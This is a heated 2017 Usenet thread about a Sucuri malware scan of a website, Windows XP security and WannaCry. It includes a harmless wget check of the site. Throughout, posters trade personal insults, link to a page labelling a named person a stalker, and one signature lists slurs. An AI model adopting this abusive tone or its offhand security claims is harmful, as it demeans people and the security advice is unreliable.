I reviewed the web site for a while ..... but couldn't find the page
which you provided. :-(

https://www.whitefirdesign.com/blog/page/3/?s=Securi

[Diesel]

Post by David B.
*It's a BAD web site*! Here's the proof:-
https://sitecheck.sucuri.net/results/www.tekrider.net

Already examined your proof and posted my analysis results. Nothing
bad about the website, but, if it helps, you exposed the sometimes
glaring incompetence of sucuri. I've done further analysis since my
original post. See below.

Post by David B.
Securi says YOU are wrong, Dustin!

It's Sucuri. They are using scare mongering tactics with you. As
well as contradicting themselves. a suspicious url (which I can't
find in my local copy of tekrider or the online version when checked
with firefox or wget) isn't malware by itself. A url alone can't
actually be malware. What it points to, oth, could be. But, in this
particular case, the code they claim is present, isn't.

So, contrary to what you may think, they aren't saying I'm wrong,
either. Suspicious does not equal malware. And, they consider the
missing html source (I can't find it in my local copy or the online
edition) suspicious ONLY because a piece of it's domain, or, the
entire thing (I'm not sure which; didn't check; not sure if they
publish their blacklist) is supposedly blacklisted by them. That
doesn't automatically make it malware, either.

wget tekrider.net
--2017-06-01 19:41:47-- http://tekrider.net/
Resolving tekrider.net... 192.251.238.3
Connecting to tekrider.net|192.251.238.3|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: pages/index.php [following]
--2017-06-01 19:41:47-- http://tekrider.net/pages/index.php
Reusing existing connection to tekrider.net:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.php'

[ <=> ] 5,737 --.-K/s in 0.02s

2017-06-01 19:41:47 (227 KB/s) - `index.php' saved [5737]

Verified the lines Sucuri thinks are present in the index.php using
alleycode and notepad (not necessary, but, I like to be thorough for
you) are not.

Also verified the results with firefox:

view-source:https://tekrider.net/pages/index.php

So, that's three seperate ways of doing it, and, all three confirm,
Sucuri is incorrect. Local mirrored copy (#1), wget (#2), firefox
(#3) as I know you're a bit 'slow' concerning matters of a
technical nature.

Btw, the local image was done on the 29th of May.

So much for them saying i'm wrong, David... ROFL!

I'll let you know what you owe me for doing this for you, soon.

Post by David B.
They know their stuff, I'm sure! :-)

Did you visit the following url, David?

https://www.whitefirdesign.com/blog/2016/10/17/sucuri-makes-a-persuasive-case-that-you-should-avoid-using-their-services/

[p-0''0-h the cat (coder)]

Post by Diesel

Post by David B.
http://tekrider.net/pages/david-brooks-stalker.php

Especially since you failed to get it taken
down

I get a 404.

Please update me about this very important matter when you have checked
your facts. Thank you.

luv Pooh

Sent from my iFurryUnderbelly.
--
p-0.0-h the cat

Internet Terrorist, Mass sock puppeteer, Agent provocateur, Gutter rat,
Devil incarnate, Linux user#666, BaStarD hacker, Resident evil, Monkey Boy,
Certifiable criminal, Spineless cowardly scum, textbook Psychopath,
the SCOURGE, l33t p00h d3 tr0ll, p00h == lam3r, p00h == tr0ll, troll infâme,
the OVERCAT [The BEARPAIR are dead, and we are its murderers], lowlife troll,
shyster [pending approval by STATE_TERROR], cripple, sociopath, kook,
smug prick, smartarse, arsehole, moron, idiot, imbecile, snittish scumbag,
liar, total ******* retard, shill, pooh-seur, scouringerer, jumped up chav,
lycanthropic schizotypal lesbian, the most complete ignoid, joker, and furball.

NewsGroups Numbrer One Terrorist

Honorary SHYSTER and FRAUD awarded for services to Haberdashery.
By Appointment to God Frank-Lin.

Signature integrity check
md5 Checksum: be0b2a8c486d83ce7db9a459b26c4896

I mark any message from »Q« the troll as stinky

[Shadow]

On Thu, 1 Jun 2017 09:46:21 +0100, "David B."

Post by David B.

Post by Shadow
On Wed, 31 May 2017 15:23:09 +0100, "David B."

Post by David B.

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily.
That's MY understanding anyway.

Are you speaking as a "security expert"

I'm no expert, but I am more careful that you appear to be! ;-)

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php

Not a good link to follow, Shadow!
Perhaps this screenshot will help you understand *HOW* your computer
became infected:-

It did, thank you, show me why I was NOT infected, but you
were.. As you know, the site you posted the "screenshot" (which I
didn't try to download - if it was important, you would have posted in
words, not as an image) was hacked.
All those 404's you are getting ..... explained.
Pr0N sites are safer.
[]'s

[Shadow]

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

No, not a rootkit that got past the AV.
You need to boot from a USB or CD to find them. Try Kaspersky
or (not as good) BitDefender rescues.
Why there are so many botnets made of Win 7 and 10
machines.... once the rootkit installs, it controls the AV.
[]'s

[Shadow]

On Wed, 31 May 2017 13:05:30 +0100, "David B."

Post by David B.

Post by Shadow
On Wed, 31 May 2017 08:03:26 +0100, "David B."

Post by Diesel

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

"Earlier this week Microsoft ended its support for Vista"
<CUT_REMAINDER_OF_WIN_10_SPAM>

And yet 98% of the Wannacrypt victims were running supported
Win 7 and up.... and M$ has known about the backdoor since (at least)
August of last year.
No, don't post ads, explain why XP was barely affected. Not
with an article, or a link, in your own words. (I changed the subject
to reflect yet another twist you gave the thread in your attempts to
STALK)
[]'s

@Shadow
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

I'm quite certain it has not. I monitor all my traffic with a
Linux firewall.

Post by David B.
You might *THINK* that you are in control, but I suspect that you are not.
I prefer not to take that chance.

Well, tell us how. Macs and Win 7 and up are botted every
other day. What's the secret ?
Drinking so much you don't care anymore ?
Yes, that seems to work.
[]'s

[Bert]

Post by Shadow
No, don't post ads, explain why XP was barely affected. Not
with an article, or a link, in your own words.

Apparently, most XP systems simply crashed when the payload attempted to
install itself.

Committed suicide rather than submit, basically.

[Shadow]

Post by Bert

Post by Shadow
No, don't post ads, explain why XP was barely affected. Not
with an article, or a link, in your own words.

Apparently, most XP systems simply crashed when the payload attempted to
install itself.
Committed suicide rather than submit, basically.

And in that way, blocked it. A heroic OS. Win 7 and 10 carried
on working and spreading the malware.
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 14:40:11 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

The article was not about MacKeeper, it was about the droopbox
dump, and provided links. Are you drunk ?

Post by David B.
https://discussions.apple.com/xxxx

You are either PRETENDING ..... or you really ARE stupid! ;-)

I'm afraid I cannot guess which it is.

Post by Shadow
//An error occurred during a connection to discussions.apple.com.
Peer attempted old style (potentially vulnerable) handshake.//
You never change, do you ?
[]'s

Good guys *NEVER* change their spots - you are RIGHT! :-)

[Diesel]

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....

:)

Post by David B.
Can you explain THIS, Dustin?

Yep. Although, it doesn't require me to do so. It's self explanatory..

Post by David B.
https://www.dropbox.com/s/2277u802owm2h2f/157.56.121.108%2019Nov201
5.tiff.tiff?dl=0

[David B.]

On 30/05/2017 02:17, Shadow answered David B.'s question ...

Post by Shadow

Can you explain what*I* see here?

No. If you like I can post the entire text on the URL that you
said gave you a 404. Then YOU can explain it.
[]'s

I was impressed when I read here:-

http://validator.w3.org/check?uri=http%3A%2F%2Fwww.tekrider.net%2Fpages%2Findex.php

I was NOT impressed When I tried to validate www.annexcafe.com

"Notes and Potential Issues

The following notes and warnings highlight missing or conflicting
information which caused the validator to perform some guesswork prior
to validation, or other things affecting the output below. If the guess
or fallback is incorrect, it could make validation results entirely
incoherent. It is highly recommended to check these potential issues,
and, if necessary, fix them and re-validate the document.
Warning Character Encoding mismatch!

The character encoding specified in the HTTP header (utf-8) is different
from the value in the <meta> element (iso-8859-1). I will use the value
from the HTTP header (utf-8) for this validation."

=

Perhaps you can explain why there are so many errors from a supposed
expert in his field?

About Annex Technologies

In reading our history, you'll glean that we really have been in this
industry for far longer than most Internet companies.

Our Mission

To utilize our historical experience in this industry, add in an
unending passion for evaluating new technologies as they come out, spice
it with our extreme desire to be our clients' heros; in order to
implement elegant & cost effective solutions for our clients and make a
little bit 'o money in the process.

Our Origin...

Annex Telecommunications opened its doors in January of 1992 as a
Bulletin Board System (BBS). There was no public internet then, but
people still communicated online through systems such as ours.

In '93 we started offering internet email services and in late '94
we offered internet access services. Also in '94, we began developing
software for the Majorbbs and became a Third Party Developer for
Galacticomm.

As the BBS world started to dwindle due to the emergence of the
Internet as a public entity, the next logical step was to develop for NT
and IIS, and that's precisely what we did. One of our products,
404bGone, had been well received by hostmasters around the globe.

At the same time, we started digging heavily into website
development, favoring a programming language called ColdFusion, by Adobe
(originally by Allaire and then Macromedia). We quickly fell in love
with that type of development (and we got good at it!).

Our Present...

Today, things are more exciting than ever. Our servers are purring
in an Enterprise level facility and we're still having fun.

Life is good. Our entire business operates on one set of
principles; Do good work, find solutions for our partners (clients),
have fun doing it, and make a living in the process.

Our Future...

Having been in this industry for over 22 years, we've learned a
great deal about the art of adaptation. As the Internet continues to
evolve (and it will), we'll continue to pursue the latest technologies
and opportunities for you.

It's a wild wild Internet out there, and we're in it for the long run.

http://annex.com/about/

[Paul]

Post by David B.
On 30/05/2017 02:17, Shadow answered David B.'s question ...

Post by Shadow

Can you explain what*I* see here?

No. If you like I can post the entire text on the URL that you
said gave you a 404. Then YOU can explain it.
[]'s

I was impressed when I read here:-
http://validator.w3.org/check?uri=http%3A%2F%2Fwww.tekrider.net%2Fpages%2Findex.php
I was NOT impressed When I tried to validate www.annexcafe.com
"Notes and Potential Issues
The following notes and warnings highlight missing or conflicting
information which caused the validator to perform some guesswork prior
to validation, or other things affecting the output below. If the guess
or fallback is incorrect, it could make validation results entirely
incoherent. It is highly recommended to check these potential issues,
and, if necessary, fix them and re-validate the document.
Warning Character Encoding mismatch!
The character encoding specified in the HTTP header (utf-8) is different
from the value in the <meta> element (iso-8859-1). I will use the value
from the HTTP header (utf-8) for this validation."

Shit happens.

https://forums.adobe.com/thread/102304

Imagine the following scenario. You're not a rich company. You
spin the HTML code yourself. But, you rent a server in a COLO,
with an Apache web server already loaded. The only control you're
given, is the ability to upload your pages of content. You don't have
"root" - you can't change Apache settings.

Now, imagine the bill comes in at the end of the month, and
you say to yourself "I should really change providers and save
a few bucks". You rent a server from another service provider,
and it happens to have a *different* web server package than
the previous one. Most people would assume (layered model),
that changing your service provider, doesn't screw up your content.

*******

As for the web, you can see some of their test results here,
Hardly any of the commercial companies pass on validation.
Only rhe hardcore "we're doing it to impress people" ones passed.

https://blog.codinghorror.com/html-validation-does-it-matter/

Even a casual glance at the error console in your browser should
show you that really *no* pages you visit on an average day,
are clean.

Paul

[Shadow]

On Tue, 30 May 2017 07:57:24 +0100, "David B."

Post by David B.
On 30/05/2017 02:17, Shadow answered David B.'s question ...

Post by Shadow

Can you explain what*I* see here?

https://tekrider.net/pages/david-brooks-stalker.php

Post by David B.

Post by Shadow
No. If you like I can post the entire text on the URL that you
said gave you a 404. Then YOU can explain it.
[]'s

I was impressed when I read here:-

I'm impressed you've been STALKING someone for 12 years.

Post by David B.
<CUT_STALKING_LINKS>

Surprise everyone and stop.
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 07:57:24 +0100, "David B."

[....]

Post by Shadow

Post by David B.
I was impressed when I read here:-

I'm impressed you've been investigating someone for 12 years.

Not /quite/ that long! ;-)

Post by Shadow
Surprise everyone and stop.
[]'s

Not until I find out *WHO* removed this post - and *WHY*!

https://www.dropbox.com/s/u5yp18sp06g6aln/Rob%20Brown%20-%20Answers%20screenshot%2026%20Oct%202016.tiff?dl=0

[Shadow]

On Tue, 30 May 2017 13:58:30 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 07:57:24 +0100, "David B."

[....]

Post by Shadow

Post by David B.
I was impressed when I read here:-

I'm impressed you've been investigating someone for 12 years.

Not /quite/ that long! ;-)

Post by Shadow
Surprise everyone and stop.
[]'s

Not until I find out *WHO* removed this post - and *WHY*!
https://www.droopbox.com/CUT_STALKING_LINK

Sorry, that site is not secure

Maybe you posted something that went against the group's
policies ? (personal attacks, posting third party URLS, repetitive
stalking, bad reputation for NEVER having helped anyone with a
technical problem EVER, constantly changing nicks to login after being
BANNED)
I really have no idea. Try to figure it out for yourself.
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 13:58:30 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 07:57:24 +0100, "David B."

[....]

Post by Shadow

Post by David B.
I was impressed when I read here:-

I'm impressed you've been investigating someone for 12 years.

Not /quite/ that long! ;-)

Post by Shadow
Surprise everyone and stop.
[]'s

Not until I find out *WHO* removed this post - and *WHY*!
https://www.dropbox.com/

Sorry, that site is not secure

I simply do not believe you!

Should I stop paying my subscription?

Post by Shadow
Maybe you posted something that went against the group's
policies ? (personal attacks, posting third party URLS, repetitive
stalking, bad reputation for NEVER having helped anyone with a
technical problem EVER, constantly changing nicks to login after being
BANNED)
I really have no idea. Try to figure it out for yourself.
[]'s

Here's a GOOD link! :-)

https://community.dynamics.com/f/17/t/147995

[Shadow]

On Tue, 30 May 2017 14:37:38 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 13:58:30 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 07:57:24 +0100, "David B."

[....]

Post by Shadow

Post by David B.
I was impressed when I read here:-

I'm impressed you've been investigating someone for 12 years.

Not /quite/ that long! ;-)

Post by Shadow
Surprise everyone and stop.
[]'s

Not until I find out *WHO* removed this post - and *WHY*!
https://www.dropbox.com/

Sorry, that site is not secure

I simply do not believe you!
Should I stop paying my subscription?

Post by Shadow
Maybe you posted something that went against the group's
policies ? (personal attacks, posting third party URLS, repetitive
stalking, bad reputation for NEVER having helped anyone with a
technical problem EVER, constantly changing nicks to login after being
BANNED)
I really have no idea. Try to figure it out for yourself.
[]'s

Here's a GOOD link!
<CUT_POSSIBLY_MALICIOUS_LINK>

No link will ever "figure it out for yourself".
[]'s

[Colonel Edmund J. Burke]

Did it go up yer bum?